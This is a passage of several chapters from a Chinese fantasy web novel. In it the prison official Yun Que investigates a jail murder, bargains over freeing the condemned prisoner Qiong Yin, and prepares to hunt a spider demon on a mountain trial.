姜熵斜倚在角落里,翘着二郎腿,早已没有了大学士的气势,反而如同街边乞丐。 “凶手,是谁。”云缺问道。 “想知道?拿酒来!”姜熵毫不客气的道。 云缺吩咐狱卒去取酒,很快拿来了一坛。 看到酒,姜熵浑浊的目光立刻明亮起来,猛地扑到近前,从牢门里伸出手要抓。 云缺往后退了一步,捧着酒坛道:“先说出凶手,酒就归你了。” 姜熵被关押了十多年,一滴酒没碰过,早已馋的眼睛发红,立刻吼道: “酒给我,我告诉你凶手是谁!” 云缺目光一动。 他之前曾经怀疑过,凶手有可能是天牢里的人,只是没有证据无法确定,现在姜熵的指正,无异于一份重要线索。 云缺沉吟了一下,将酒坛递给对方,并未开门。 关押姜熵的牢门是特制的,钥匙在刑部尚书手里,连侍郎都没资格开门,何况云缺这个提刑官。 姜熵抓住酒坛,将嘴巴贴在牢门上,往嘴里倒酒。 咕嘟嘟一阵豪饮,酒水至少洒了一半。 等酒坛变空,姜熵将其扔掉,收回手,抹了抹嘴角,打着酒嗝继续躺了回去。 “酒已经喝了,该你说了,凶手到底是谁。”云缺道。 “杀人多有趣,我说了出来,他就没办法继续杀人喽,天牢里太寂寞,我还打算多看几场好戏呢,哈哈哈!你们这些饭桶慢慢查,哈哈哈哈!” 姜熵大笑,直接反悔。 犁术忌惮道: “大人算了吧,老家伙疯疯癫癫,他说的话,不可信呐。” 犁术现在就想离着姜熵远点,他当提刑官的时候,手下狱卒没少被这老家伙弄死。 云缺并没走,反而嘴角渐渐勾起一抹笑意。 “你们都退出去。”云缺背对着众人吩咐道。 犁术等人不敢不听,互相看了看,相继退出重刑犯区域。 等附近再无旁人,云缺往前走了几步,站在牢门前,道: “姜大人既然是龙图阁大学士,修的必然是圣人之道,学宫后山悟心崖的圣人笔迹,你应该知道。” “废话!圣人亲笔留迹,只在学宫无名山,天下儒士谁人不知!”姜熵冷哼道。 “那么姜大人可知,圣人遗留的,到底是什么字呢。”云缺道。 “沧海无尽,彼岸有花!还用问么!”姜熵冷声道。 “不对,这句话的顺序有问题。”云缺面带笑意,低声道。 “不可能!少来胡言乱语,圣人遗迹不是你们这种饭桶能看懂的。”姜熵不屑道。 “我在后山面壁的时候,曾经踩落了字迹,重新安装的时候无意间将字迹装反,这句话的顺序便乱了。” 云缺将声音压得更低了些,道:“大祭酒看到后,非但没有责罚,反而不允许重新归位,你猜,沧海无尽彼岸有花这几个字,是不是有问题呢。” 告知这件事,是因为云缺料定姜熵这位大学士,对圣人遗迹极为重视。 云缺没别的办法胁迫姜熵,只能抖出这段往事。 果然,听闻大祭酒并未将错乱的字迹归位,姜熵豁然站了起来,冲到牢门前道: “哪个字的顺序错了!快说!” 云缺淡淡一笑,退后一步道:“想知道的话,还请大学士帮忙指认出昨夜杀人的凶手。” “好!我告诉你是谁,那凶手刚才就在你们当中!你让他们一个个到我近前,我若辨认出来,你要将圣人遗迹现在的字迹顺序告诉我!”姜熵急匆匆的道。 第121章 不该看的不看 与秋审司交接过后,云缺仔细打听了一下。 穹音的判罚,与秋审司无关甚至与刑部无关,是皇帝亲自下的旨意。 年底行刑。 秋审司的人走后,云缺始终锁着眉峰。 距离年底只有一个多月,穹音的死期将近。 若秋审司负责判罚,云缺还有机会打点一番,这次皇帝下旨,没人能救了穹音。 “锻纸侯……” 云缺目光冷冽。 他猜测出穹音的死刑,是皇帝为了给琴寿出口恶气。 “最是无情帝王家。” 云缺无奈的摇了摇头。 云缺当然不想让穹音死掉,毕竟人家之前好心用蛊虫帮忙,结果被自己误会,从而挨了顿折磨。 可救出穹音,几乎没有机会。 云缺想过用吴鹰当初的办法,但并不可行。 自己进天牢的时间很短,外面守门的刑部兵丁大多不认得自己,有机会伪装成狱卒离开。 穹音被关了三年,长得又漂亮,刑部里几乎没人不认得她,就算有新来的狱卒,也会好奇来看两眼天牢里的美人。 单单容貌这一关,就没戏。 加上穹音的身材极好,女扮男装之下,除非守门的刑部兵丁眼睛有问题,否则一眼即可看出是女人。 云缺实在想不出什么好办法。 送去饭菜之后,云缺没走,坐在牢房里,皱着眉,看着阿梅吃饭。 阿梅已经习惯了云缺在旁边,低着头,小口小口的吃着,不说话。 美人进餐,着实养眼,可今天云缺越看心情越沉重。 “皇帝下旨,年底你将被处死。” 云缺低声道。 阿梅拿着筷子的手,忽然颤抖了一下,沉默良久,继续慢慢的吃饭。彡彡訁凊 一滴滴晶莹的泪珠,无声无息的落进米饭里,混合成五味杂陈。 云缺看得心里越发不是滋味。 “如果能走出天牢,你有没有把握逃出天祈城。”云缺低声道。 阿梅不说话,流着泪缓缓摇头。 云缺知道结果。 即便阿梅是七品武者,想要从刑部闯出去,或许不算难,但绝对逃不出天祈城。 不说刑部里会有一群高手追杀,在旁边就驻扎着禁军,一个七品武夫,不可能逃过刑部与禁军的围杀。 见对方只吃了几口便放下筷子,云缺劝慰道: “多吃点吧,还有一个多月呢,等你脑袋掉了的话,想吃也吃不下了。” 听见这种奇怪的劝说,阿梅卷缩起来,看起来愈发可怜,更没胃口了。 云缺想了想,可能自己不擅长安慰别人,于是道: “我如果还有一个月可活,肯定天天大吃特吃,要死也是饱死鬼,没准临死之前还有机会翻盘呢,到时候若有逃生的希望,你却没力气跑,那才是傻瓜。” 阿梅沉默了一阵儿,抓起筷子又开始快速吃了起来,只是一双美目里暗淡无光,看不到丝毫灵动,好似个提线木偶般麻木的吃着食物。 云缺没再说话,起身要离开。 “求你件事……” 阿梅抬起头,声音很轻的道。 “你说。”云缺回头道。 “别告诉穹舞。”阿梅的声音变得平淡,目光中多了一些决然。 云缺点了点头,走出牢房。 整个下午,云缺都在思索着救出阿梅的办法,直到黄昏也没想出任何法子。 第122章 兑现承诺的小郡主 房石所言,令云缺升起一份希望,连忙追问是何种丹药。 房石耐心的解说道: “此丹为道门高手修炼高深道法时所用,有屏息凝神之效,吃下后呼吸心脉会完全消失,隔绝一切外因,将本体调整到一种空灵状态,是用来悟道的最佳丹药。” “由于服用此丹后会达到如尸体般的效果,仿佛打开通往冥界的大门,所以被俗称为通冥丹,服下此丹,即可达到云师弟需要的假死状态,从外面看与尸体一模一样,我现在没有,不过可以帮云师弟预定一粒,半月内即可到货。” “不知通冥丹要多少钱?”云缺问了问价格。 “很贵,正常情况需要以灵石购买,若云师弟执意想要,我可以折算成银两,算你……”房石思索了一下,出价道:“三万五千两好了。” “多少!”云缺揉了揉耳朵。 “纹银,三万五千两。”房石又说了一遍,道:“不瞒云师弟,我卖的丹药肯定有点小贵,但药效绝对有保证,通冥丹即便在外面坊市里也很难找得到,况且市价绝对不会低于三万两。” 云缺的眼皮直跳。 三万五千两的丹药,你说是小贵? 宅子卖了我也买不起呀! “我再考虑考虑,实在太贵了。”云缺垂头丧气的道。 “确实昂贵,毕竟是道门强者才有实力用的灵丹,如果单单为了假死状态就服用通冥丹,实在得不偿失,太浪费了。”房石说完补充了一句,道:“对了,通冥丹只是俗称,丹药正统称呼叫做悟道丹。” 云缺无精打采准备告辞,忽然愣了一下。 悟道丹,听着这么耳熟呢! 很快云缺想了起来。 刚才与吴鹰一起回学宫的路上,吴鹰提及了妖山试炼第一名的奖励除了极品法器外,还有几种昂贵的灵丹,其中就有悟道丹! 为了确定,云缺问了问房石,得到肯定的答复。 “确实第一名的奖励中,可选择悟道丹,但想要在妖山试炼中拔得头筹,以云师弟刚刚七品的修为基本不可能,没什么希望。”房石叹息道。 “难道妖山试炼,有很多六品学子参与?”云缺奇怪的问道。 “那倒不是,学宫里的确有六品境界的学子,人数不多,而且大多苦修不怎么出门的,参加妖山试炼这种事就更少了。” 房石的表情变得古怪起来,道:“云师弟刚入学宫,没参加过妖山试炼所以不知道情况,你可知道历年来的妖山试炼,都是什么人获取的第一名吗。” “实力最强的武夫呗。”云缺脱口而出。 房石连连摇头,苦笑道: “错了,至少我没见过有武者获取第一名,最近二三十年来,夺取第一名的,全是女学子,以鸿儒殿与道山殿居多,演武殿的武夫根本排不上号。” 云缺颇为诧异,道: “女学子猎妖这么厉害?” “何止厉害!简直是玩命一样。” 房石解释道:“第一名的奖励当中,有养颜丹可以选择,养颜丹的功效是滋养肌肤,养护容貌,延缓衰老,是天下所有女修士都为之疯狂之物,你要知道,女人对自身容貌的重视,甚至会超过自己的生命,为了养颜丹,她们会拼命的!” “不至于吧。”云缺吃惊道。 “每当妖山试炼之前,我的买卖最好,尤其一些攻击类的符箓与法阵,简直供不应求,学宫里的女学子宁可倾家荡产也要大批购买,就为了能猎杀更多妖物。” 房石咂舌道:“云师弟肯定没见过那种壮观场面,你们武夫去妖山,是一只一只的杀,那帮疯女人是一片一片的杀,风火雷电,法器符咒,灵符大阵,应有尽有!你们是去猎妖,她们是去平山呐!寸草不留的那种!” 云缺听得一脸呆滞。 原来女人疯起来,比男人还可怕…… 云缺本以为自己斩妖十余年,去了妖山不说肯定第一名,也差不多少。 如今看来,别说第一,前十都够呛。 自己这么穷,买张轻身符都要咬咬牙,怎么跟那群修炼多年看到养颜丹就不要命的师姐比? “学宫里的师姐我看都挺漂亮的,还那么在乎养颜丹么。”云缺道。 “呵呵,云师弟不了解女人呐,就算天下间最美的女人,也觉得自己还不够完美,而养颜丹,就是她们认为的完美所在。”房石笑道:“其实还有一个办法,能直接获得第一名。” “什么办法?”云缺追问道。 “猎杀到妖山之王!” 房石语气一沉,道:“妖山中栖息着一头六阶巅峰妖兽,名为白玉蜘蛛,大部分时间都在山腹内沉眠,极为凶残,学宫对妖山试炼的规定是以分数作为排名。 猎杀一头九阶妖兽算一分,八阶妖兽五分,七阶妖兽十分,最后谁的分数最高,谁便是第一名,不过有个特例,只要能猎杀到白玉蜘蛛,即可直接夺魁!无论之前是否有分数,都会成为第一名!” 得知这份消息,云缺若有所思。 蜘蛛类的妖兽,他也杀过,只不过很少,因为并不常见,而且蜘蛛类大多有毒,不太好对付。 房石提醒道: “云师弟听听就好,千万别去找那白玉蜘蛛,据说近百年来,那头凶兽始终栖息在妖山之内,没人敢去挑战,别说七品炼神境,即便六品宗师见到,都得退避三舍。” 云缺谢过房石的讲解,告辞离开。 妖山试炼,看来自己想象的太过简单了。 云缺一边想着心事,一边往回走,路过饭堂的时候看见舞仙子正从里面走出来。 云缺将悟道丹与妖山试炼的事先放在一边,迎着穹舞走了过去。 太子那一万两银子,至少先赚到手再说。 “吃饱了吗,跟你说件事。”云缺拦住穹舞的去路。 舞仙子神态平静,一双美目微微弯起来,好似在笑,可看不出什么笑意,有一种诡异的美感。 云缺直接开门见山的道:“太子想让你跳一场霓裳羽衣舞,你看看什么时候有空。” 穹舞的嘴角渐渐勾起,道:“当奴才了?” “怎么说话呢!我是正经八百的太子伴读,东宫行走,什么奴才。”云缺不满的道。 穹舞缓缓点头,道:“狗腿子。” “喂,你吃毒药了是不是,嘴巴这么毒呢,不跳也行,反正你姐姐下个月斩首,你自己想办法吧。”云缺说完转身就走。 结果手臂被穹舞一下抓住。 “你说什么。”穹舞的声音变得低沉下来,目光透着冷冽。 “穹音被判死刑,年底行刑,不信的话,你自己去天牢打听打听。”云缺道。 穹舞冷冷的盯着云缺,仿佛要看穿云缺的心思,良久后道: “我若给太子跳舞,你能从天牢救她出来?” “看心情吧,我心情好的话,也许能帮着想点办法,不过我现在心情不好,不想多管闲事。”云缺道。 穹舞沉默了一下,道: “跟我来。” 穹舞说完走向一侧,绕过南楼离开百花殿,云缺一直跟着对方走出很远,到了一片无人的林间。 “有话直说,走这么远干嘛,想灭我口的话,现在动手也行。”云缺不耐烦的道。 “怎样你才肯救她。”穹舞停下脚步,平静的问道。 “你先给太子跳一场霓裳羽衣舞再说,这事麻烦透了,皇帝下的圣旨,捞她出来,我得冒着灭门的风险。”云缺没好气的道。 虽然家门里就自己老哥儿一个,自己嗝屁就算灭门,但利害关系也得提前说好不是。 穹舞望着云缺良久,随后开始解扣子。 云缺看得目瞪口呆。 你们姐俩怎么都一个毛病,一言不合就脱衣服? 穹舞掀开裙衣,将自己完全展现在云缺面前,平静的道: “救她出来,我把身子给你。” 云缺张了半天嘴,一时怔在原地。 他没想到平日里孤傲如冰的舞仙子,居然会用这种方法来恳求自己! 穹舞的俏脸上看不出表情,平静如常,但云缺能看出对方眼眸的深处,藏着难以掩饰的焦急。 能让一个女孩子做到如此地步,可见已经到了绝境。 穹舞不想让天牢里的姐姐死去,但她没办法营救,只能恳求云缺,不惜一些代价。 若是平常,云缺少不得调侃一番,至少要欣赏一阵儿。 可现在这种情况,云缺没那个心情。 走过去,将对方的衣襟合拢,云缺叹了口气,道: “你姐姐算我半个朋友,看她被杀,我不舒服,能救的话我会尽量帮忙,你先给太子跳了舞再说。” 穹舞闻言,用力的点点头。 回到百花殿后,穹舞匆匆返回南楼,云缺本想着去演武殿转转,身后忽然传来一声清脆的呼唤。 “云缺!” 声音如百灵般悦耳动听。 回头一看,牧青瑶正面带微笑,俏生生的站在面前。 “郡主?”云缺诧异道:“你怎么过来了。” “来找你呀,不行嘛。”牧青瑶偏着头,背着小手微笑道:“陪我走走,我带你去个好地方。” 两人在学宫内漫步,说说笑笑。 一路行来,云缺至少察觉到周围有超过百道冷冽的目光落在自己身上,都是途中遇到的男学子。 如果眼神能杀人的话,云缺这短短一段路,已经死掉一百次了。 云缺大为感慨。 陪着灵芸郡主散步,在天祈学宫是一种很危险的行为。 两人走到学宫内一处小湖,沿着小桥来到湖心凉亭。 四周空旷,月光洒落湖面,美轮美奂。 “游子湖,学宫内最美的地方,却很少有人来,可能学子们不愿睹物思人,想起身为游子远赴学宫求学的一路艰辛,思念起远在故乡的家人。” 牧青瑶呼吸着湖心处清新微凉的空气,轻吟道:“一池莲叶荡轻舟,十里荷花香满楼,最是湖心明月夜,千丝万缕为君留。” 云缺四下看了看。 夏天的时候水里应该有荷花,但早已枯萎,只残留着一些干瘪的叶子。 “你说的不对,应该是……” 云缺略一沉吟,也装模作样的吟道:“一池枯叶无轻舟,下水捞个大莲藕,上来一瞧没有孔,原来是块破石头。” 听完云缺的打油诗,牧青瑶笑得直不起腰,一双美眸弯成了月牙儿。 “手拿出来。” 牧青瑶收起笑容,很严肃的道。 云缺伸出左手。 “两只手。”牧青瑶道。 云缺只好伸出两只手,奇怪的问道:“做什么?” 牧青瑶轻轻抿着唇,微红的俏脸上现出一丝羞涩,道: “兑现承诺!” 说完抓住云缺的手腕,将云缺的两只手突然按在了自己的心窝之上。 云缺怔住了。 只觉得掌心传来的柔软,令人痴迷,令人沉醉。 月夜,湖心亭,两道年轻的影子此刻仿佛连接在一起。 正当云缺流着口水打算仔细感受这美好时刻之际,身后突然传来哗啦巨响,一尊庞然大物浮出水面,遮住了漫天月色! 第124章 快来看神人 云缺与牧青瑶远离了游子湖。 走在安静的小径,牧青瑶还在刚才的震撼中难以自拔。 云缺反而早已恢复正常。 管他腾蛇还是蛟龙,只要不咬我就行。 至于天下灾祸,云缺才不在乎,自己神魂里就有个大祸,指不定哪天会爆发。 “灾祸若起,受罪的还是百姓,天道不安,不知何时天下才能真正太平。”牧青瑶忧虑道。 “灾祸都不知道来不来,你先杞人忧天,累不累呀。”云缺道:“也许是那条大蛇见我在它的地盘占了郡主的便宜,它嫉妒,于是冒个头来示威。” 牧青瑶略带忧虑的神色,被云缺一番话逗得烟消云散。 狠狠掐了下云缺的手背,牧青瑶嘟起小嘴道: “刚才的事,不许跟别人说!” “下官遵命,肯定守口如瓶。”云缺打趣道。 牧青瑶翻了个大大的白眼,这种女儿家的小举动,只有在云缺面前她才能做得出来,平日里绝无仅有。 夜已深了,云缺打算送牧青瑶回鸿儒殿,结果牧青瑶要去百花殿。 “我想找你们百花殿的商人房石,听说他经常售卖各种法器符箓。”牧青瑶道。 “还能存钱借钱呢,你想买什么。”云缺道。 “一种特殊的兽牙,需要六阶程度才行,必须至阴至邪,很罕见,不知房石有没有得卖。”牧青瑶现出为难的神色,好像有什么烦心事。 “六阶兽牙?用来做什么?”云缺奇怪道。 牧青瑶说出原因: “十七年蝉圆满之后,需要师尊协助我开启识海,你们武者叫做破神藏,我们儒家称之为开天门,意思是一样的,唯有如此我才能真正获得七品修为,天门不开,修为不存。” “儒家修士冲击七品格物境的时候,需要准备一份与自身气息截然相反的材料,取其相克之力,来作为开天门的钥匙,妖物的獠牙充斥着妖邪气息,正好与儒修气息相反,是最好的材料。” 听闻缘由,云缺不以为然的道: “兽牙还不简单,等我去妖山的时候顺便给你带点回来。” 牧青瑶缓缓摇头道: “我修炼的十七年蝉太特殊,相当于从毫无修为直接开天门,需要的兽牙必须至阴至邪方可奏效,妖山里的妖兽獠牙大多无用。 师尊说兽牙的事要我自己想办法,算对我的一次考验,买到也行,抓妖也可,城内的坊市我去过,能达到要求的兽牙根本找不到,年底前还有一个月的时间,不知能不能买得到。” 云缺知道牧青瑶的十七年蝉必须在年底成功,否则会前功尽弃,于是带着对方找到房石。 结果房石手里也没有牧青瑶所需的獠牙。 “普通程度的六阶兽牙好办,但至阴至邪的类型实在罕见,我手头没有合适的,不过我家在其他国度的店铺应该有,我可以派人回去问问,至少要等两个月的时间才能运过来,不着急的话,你们先留下定金。” 房石给出了一个期限。 牧青瑶可等不得两个月,只好作罢。 房石建议道: “郡主要兽牙想必是为了儒家开天门,我知道一个地方能得到,而且绝对是至阴至邪的六阶兽牙。” “什么地方有?”牧青瑶期待的问道。 “妖山之王,白玉蜘蛛的獠牙。”房石道。 牧青瑶听完就泄了气,告辞离开。 六阶巅峰妖兽的獠牙,她一个毫无修为的弱女子如何能拔得下来。 “白玉蜘蛛的牙,需要几颗才够。”云缺道。 “一颗足矣……你别去冒险!” 牧青瑶神色凝重的道:“妖山之王不是白叫的,那只凶兽盘踞妖山上百年之久,没人能猎杀,你刚刚七品正需要稳固境界,我不许你去冒险,我会想别的办法。” 云缺活动了一番筋骨,笑道: “我又不是正常的七品武夫,六阶妖兽而已,打不过至少我能跑,好多天没动刀了,手痒。” “太危险了,我怕你出事。”牧青瑶担忧道。 “我活着就是一场危险,等好消息吧,不过獠牙到手得给报酬才行,郡主应该知道,我这人无利不起早的。”云缺懒洋洋的道。 “七品武者想要再上一步,需要耗费巨额银钱,我给你市价再多加五成的报酬。”牧青瑶好心的道。 她知道直接给钱,容易打击到男人的自信,所以用了点小心机,打算在金钱上帮衬云缺,毕竟灵芸郡主是不缺钱的。 其实牧青瑶多虑了。 以云缺的脸皮程度,别说郡主给钱,就算街边乞丐给钱,云缺都照收不误。 “买卖归买卖,咱们这么熟了,正常价就行,不过除了银子之外得多加个报酬。”云缺神色古怪的道。 “多加什么报酬,你说,我都答应。”牧青瑶天真的道。 云缺捏了捏两只手,坏笑道:“再来两下!” 牧青瑶一张俏脸顿时霞飞双鬓,红得像个苹果。 “坏人!” 牧青瑶瞪了眼云缺,爽快的道:“成交。” 云缺呵呵直笑。 本来也打算去妖山猎杀那只白玉蜘蛛,结果平白多了一份好处。 回想起刚才的手感,云缺强忍住流口水的冲动。 把牧青瑶送回鸿儒殿,云缺途经演武殿的时候,正好看到许闲云在授课,于是忙不迭的换上演武殿学子服混了进去。 这位先生实在脾气古怪,都半夜三更了居然讲课。 坐好后,云缺发现自己身上演武殿的学子服有点多余了。 周围一群演武殿的学子,基本没一个不认得他的,全对他横眉立目。 云缺一点不在乎,坐的笔直,仔细听讲。 今天许闲云讲的是拳法。 赤炎拳! 讲完后,许闲云亲自示范一次。 一拳轰出,竟砸出一片烈焰来! 在场的学子无不惊呼连连。 云缺看得如痴如醉,这才是武道强者该有的身手,拳震五行! 武夫给人的印象,永远是粗鲁莽撞,一言不合拔刀相向,平日里出口成脏,大吼大叫。 之所以这种印象,因为大多低阶武者的确如此,武道最适合那些没什么天赋的汉子,只要身体不差,再下点苦工就有机会成为九品武者。 而其他派系的修行者,动辄飞天遁地,法术更千门百类,施展出来不仅威力惊人,还美轮美奂,洒水成冰,剑出如虹。 其他派系最看不起的,其实并非武夫的战力,而是武者的攻击范围。 人家离着远远的扔法术,你们武夫碰不到人家,只能挺着挨打,好似受气的野狗,无能狂吠。 在看到许闲云施展赤炎拳之际,云缺明白了一点。 武者,也能用出无限接近法术的招式! 以许闲云砸出的那片烈焰来看,至少能覆盖他周围三丈方圆的范围。 加上武者矫健的身法与速度,在对敌之际,这一招赤炎拳如果施展得当,足以瞬杀十丈内的敌人! 尽管算不得多远,但比起刀剑的长度,已经足够惊人了。 刀剑的刀气剑气虽然也能离体攻击敌人,但说到底仅仅是武者自身的气机凝聚,威能远远不及刀剑本身。 可赤炎拳不同! 那是真正的烈焰,五行之力当中的火灵力! 云缺估计许闲云没出全力,毕竟这里是学堂,周围全是学子,许闲云的那一拳,威能应该还会更强。 离开演武殿之后,云缺决定开始修炼赤炎拳法。 对战时用不用得上先不说,这招关键能唬人呐,一拳砸出一片火焰,云缺都能说自己是道门修士! 唬人的能力,在云缺看来可比拳法本身的价值高得多。 回到西楼,墨老正坐在大厅里喝茶。 大半夜的喝茶也不怕睡不着,云缺腹诽了一句。 比起白天睡觉晚上授课的演武殿先生,墨老基本白天晚上都不睡,跟个老游尸似的。 “天牢里刚死个七品武者,想着您老应该用得上,就给带回来了。”云缺道。 “看过了,还不错,炼制一番应该能保存八品战力。”墨老满意的点点头,道:“等炼好了,你拿去练手用。” “多谢墨老。”云缺道谢后,随口问了句:“墨老能否看出尸体的死因。” “蛊虫所杀。”墨老道。 “蛊虫?难道不是神魂受损而亡?”云缺疑惑道。 “死因的确类似神魂受损,但不是。”墨老品着茶道。 “蛊虫在尸体什么地方?我仔细验过,还切开检查了内脏,毫无发现。”云缺道。 “你才验过几年尸,乳臭未干的毛头小子而已。”墨老哼了声,道:“蛊虫在死者的脑子里,细如针芒,从头发根儿进去的,你能将尸体所有头发都检查一遍么。” 云缺听得十分震惊,并且大为佩服。 姜还是老的辣! 墨老验尸这一手,不服不行。 得知负易的真正死因,云缺不由得疑惑不解。 蛊虫到底是负易押入天牢前就被种下,还是在天牢里被人动的手脚? 如果是后者,那么杀人凶手,就在天牢才对,正对上姜熵的说法! 而天牢里,云缺知道有一个人会用蛊虫。 阿梅! 但阿梅与负易应该没什么仇怨才对,她没有杀人动机。 一时理不清头绪,云缺不再多想,大睡了一觉。 天亮后,准备去刑部吃免费早饭。 一出西楼,发现门口围着一群人。 为首的屠苏一看到云缺,顿时大呼道: “神人出来了!快来看神人呐!” 云缺都懵了。 回头看了看,大厅里空荡荡,就自己一个人。 “哪有什么神人!再看揍你们!” 云缺一声怒吼,围观的学子呼啦一声散去。 原地剩下屠苏和满申,两人眼睛里闪烁着一种虔诚之光,看得云缺直恶心。 “说清楚,谁是神人?”云缺掐住屠苏的脖子质问。 “你、你呀!”屠苏无比崇拜的道。 见云缺瞪起眼睛,屠苏急忙解释道: “消息都传开了,说你昨晚在游子湖撒了一泡尿,结果把传说中的神兽给滋了出来!你不是神人是什么!你比我们草原的天神都要令人敬佩!” 云缺听得瞠目结舌。 把屠苏掐得脸红脖子粗喘不上气来,才得知真相。 由于腾蛇没有散发任何气息,学宫内的先生们并不知情,不过有几名当时在湖畔附近的学子看到了灵尊的身躯,于是消息很快在学宫散播开来,引起一阵轰动。 传闻这东西,三人成虎,越传越离谱。 先是传闻云缺在游子湖边打斗惊扰了神兽,后来演变成云缺在湖里洗澡,之后传成云缺在湖里洗脚,再后来越传越邪乎,最后变成往湖里撒尿。 云缺都听呆了。 他没想到会有一天,自己的传说也能流传在千年学府! 天牢。 云缺沉着脸走进阿梅的牢房。 “负易,是不是你用蛊虫杀的。”云缺沉声问道。 阿梅的神态恍惚了一下,现出不解之态,道:“我不认得。” “刚关进来的犯人,我查过了,死于蛊虫,整个天牢里,只有你会用蛊。”云缺盯着对方道。 “不是我。”阿梅摇头道。 “不承认也行,刑部已经设下计策引穹舞离开学宫,在外面布下天罗地网,你妹妹只要走出学宫一步便会被缉拿归案,今天你们姐妹终于能在天牢团聚了,等年底一起问斩。”云缺道。 阿梅一听神色骤变,哀求道:“别让她离开学宫!求求你!” “求我有什么用,我只是个小小的提刑官,天牢死了囚犯,害得我背锅,我现在自身难保,哪有心思管你们姐妹的烂事。”云缺道。 “是我杀的!人是我杀的。”阿梅直接承认道。 “承认了?你为什么杀负易。”云缺问道。 “我……我恨他!”阿梅低着头道。 “承认就好,负易是皇城校尉,当初抄你家的时候,他没少虐待你们姐妹,是不是这个原因让你记恨在心,终于等到机会杀他报仇。”云缺道。 “是!所以我要杀他!”阿梅低着头道。 “是个屁!” 云缺伸手掐住阿梅的下颏将其脸睱仰了起来,没好气的道: “负易是八山城的守将,跟你家八竿子打不着,你连人都不认得,承认个什么劲儿,诈你一下就上当,笨得像猪。” 第125章 一边求学一边生娃 云缺之所以来诓骗阿梅,是因为负易之死,他只知道阿梅会用蛊。 但如今一看,阿梅绝非凶手,杀人者另有其人。 关心则乱,涉及到亲人的危机,阿梅的反应算作正常,但云缺总觉得对方的心机比以往差了太多,骗一下就上当,根本不像以前那个冷血的阿梅。 “刑部到底会不会抓她?”阿梅急切的问道。 “暂时不会,还是想想你自己吧,脑袋都要掉了还惦记别人,你们家有没有遗产之类,或者值钱的东西。”云缺道。 “做什么?”阿梅听得一脸不解。 “报酬啊!我想点办法把你弄出天牢,你总不能一个铜板不出吧。”云缺解释着,伸出五指道:“少说这个数,否则没戏。” “五百两?”阿梅道。 “五万两!”云缺道。 一粒悟道丹,房石那边售价三万五千两,云缺可不打算自己出,亲兄弟都得明算账,何况是阿梅了。 “我拿不出那么多钱。”阿梅低落下来,垂下俏脸。 “四万两也能商量,最低不能少于三万五千两,否则你只能自己等死。”云缺道。 阿梅不再说话,沉默不语。 云缺不耐烦的道: “给我个准信儿,你到底能拿出来多少?” 阿梅抬起头,显得十分可怜的竖起一根葱白手指,声音很轻很轻的道: “一百两……” 云缺盯着对方看了好一会儿,叹气道: “买棺材够了。” 阿梅紧紧的抿着唇,低声道:“穹家什么也没留下,并无遗产,我没有钱……” “有钱能使鬼推磨,无钱便做推磨的鬼,我虽然同情你们姐妹的遭遇,但咱们俩的交情,不值三万两,抱歉啊,告辞。”云缺道。 “我会还你!我发誓!” 阿梅再如何冷静,此刻也被激发出心里最后的求生欲。 “多久能还,如果你还不上呢?欠账这种事,我心里有阴影。”云缺道。 “三年之内!我一定能还上!”阿梅道。 “时间太长,我都不知道自己能不能活过三年,至多一年,三万五千两白银。”云缺道。 “好!”阿梅认真的点头道。 “还不上的话,该怎么办,你总不能空口白牙就借走三万多两银子吧。”云缺道。 “若还不上,我把自己抵给你!此生做牛做马,绝无怨言。”阿梅道。 “抵给我当丫鬟么?我还得管你吃喝,你知不知道三万多两银子能买多少个丫鬟?至少几百个!便宜点的能买上千个丫鬟!”云缺道。 阿梅沉默了稍许,倔强的仰着脸道: “上千个丫鬟加起来,也不如我好看。” 这下云缺无话可说了。 确实,眼前这个是祸水级别的,城里那些丫鬟可比不了。 “好吧,姑且信你一次,一年还不上,你就归我了,来,画押。” 云缺从怀里拿出一份卖身契。 阿梅接过来看了看,上面仔仔细细写明了一年的年限与归还的银两,如若不还,以身抵押。 看完后又气又恨又无奈。 原来人家早就准备好了卖身契,只等她按手印呢。 她很想撕毁这张可恶的卖身契,可又舍不得,因为这是她能否活下去的唯一契机。 在天牢里,除了云缺之外,阿梅看不到半点希望。 等阿梅按了手印后,云缺将卖身契收好。 平白救人,他可不干。 想要让云缺干活,必须拿钱来说话,这是云缺一贯的行事作风。 放衙前,提前找到侍郎上官鸿途告假。 得知云缺要参加妖山试炼,上官鸿途很痛快的点头答应,并笑着鼓励了几句。 学宫学子,前途无量,这是公认的,上官鸿途自然也不例外,对云缺的仕途十分看好。 今晚的学宫,异常热闹。 大家都在议论着明天的试炼,更有许多人互相招呼着组队,等明天到了妖山一同行动。 学宫里最忙的人,要数房石。 房石忙得不可开交,找他买东西的人排起了长队。 路过的时候,云缺发现房石这边买东西的以女学子居多。 这些女学子平日里温柔腼腆,但今晚全都浑身杀气,摩拳擦掌,好像明天要上战场似的。 为了个养颜丹,至于么…… 云缺回到西楼,将炼尸小蛇装好,准备明天带上。 这玩意看着不起眼,没准有用,探个路什么的还是可以的,可惜眼珠没了,否则效果肯定更好。 又将七叔送的香囊贴身收好。 以云缺现在的七品战力,加上堪比六阶妖兽的骨骼强度,动用妖刀的话,斩杀六阶妖物不难。 但白玉蜘蛛有剧毒,不好对付,七叔的驱毒香囊必不可少。 “最好再弄套盔甲之类的东西。” 云缺暗自嘀咕道。 六阶巅峰的蜘蛛类妖兽,自己从未对战过,不能大意。 稳妥起见,弄套护身甲胄比较好。 去房石那边瞧了眼。 排队的足有几百号,估计到半夜也轮不到自己。 云缺没去凑热闹,来到演武殿,找梅钱借盔甲。 梅钱的那套盔甲从来不离身,尤其护心镜,睡觉都带着,云缺看不出那盔甲的等级,但肯定是好东西。 梅钱得知云缺的来意后,把脑袋摇成了拨浪鼓。 就俩字。 没门! “那么小气呢,算我租的行了吧,只租一天,你开个价。”云缺道。 “别说一天,一会儿也不行!那是我家先祖留下来的遗物,谁也不借。”梅钱义正言辞道。 “凡事都有商量嘛,我出二百两,行了吧。”云缺道。 “不是钱的事儿,你家先祖遗物会往外借吗。”梅钱怒道。 “少来,只要价钱合适,你祖宗的骨灰你都能卖,一口价,五百两!”云缺道。 “不用白费口舌,五千两也不借!”梅钱道。 “一千两,最后机会,银票在这,一手盔甲一手钱。” 云缺果然拿出一千两的银票,不过攥得紧紧的,对方真要交易,他直接反悔。 傻子才用这么多钱借一副盔甲,云缺只是在试探而已。 “有钱你自己去买一套,灵匠殿就有卖的,别来烦我!” 梅钱不理云缺,钻进书楼消失了身影。 云缺将银票收好,低语道: “一千两够你拼命一次,居然不要?盔甲里肯定有问题!你个梅老六,居然有秘密瞒着我,有机会看我不把你那护心镜挖出来,瞧瞧里面到底藏着什么东西。” 